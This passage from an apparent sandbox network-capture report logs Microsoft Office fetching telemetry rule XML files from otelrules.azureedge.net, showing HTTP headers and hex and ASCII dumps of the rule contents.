2024-12-07 17:26:52 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172652Z-r1cf579d778x776bhC1EWRdk8000000002z00000000051yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172653Z-r1cf579d778dc6d7hC1EWR2vs800000003hg000000008kfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:53 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172653Z-r1cf579d778xr2r4hC1EWRqvfs0000000310000000003xuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:53 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172653Z-r1cf579d778dndrdhC1EWR4b2400000002mg00000000584r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172654Z-r1cf579d778lntp7hC1EWR9gg400000002f0000000002ayk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172654Z-r1cf579d778lntp7hC1EWR9gg400000002eg0000000038eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:55 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:54 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:55 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 5b9ff148-a01e-000d-0606-48d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172655Z-r1cf579d778x776bhC1EWRdk8000000002y0000000006k1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:55 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172655Z-r1cf579d7789trgthC1EWRkkfc00000003q0000000003f6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172656Z-r1cf579d778kr8xrhC1EWRfkun00000003cg0000000067fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:56 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172656Z-r1cf579d778t5c2lhC1EWRce3w00000003m0000000006ze2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:57 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:56 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172656Z-r1cf579d778xq4f9hC1EWRx41g00000002r00000000085be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:57 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:57 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172657Z-r1cf579d778qgtz2hC1EWRmgks00000002v0000000002q38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:57 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" 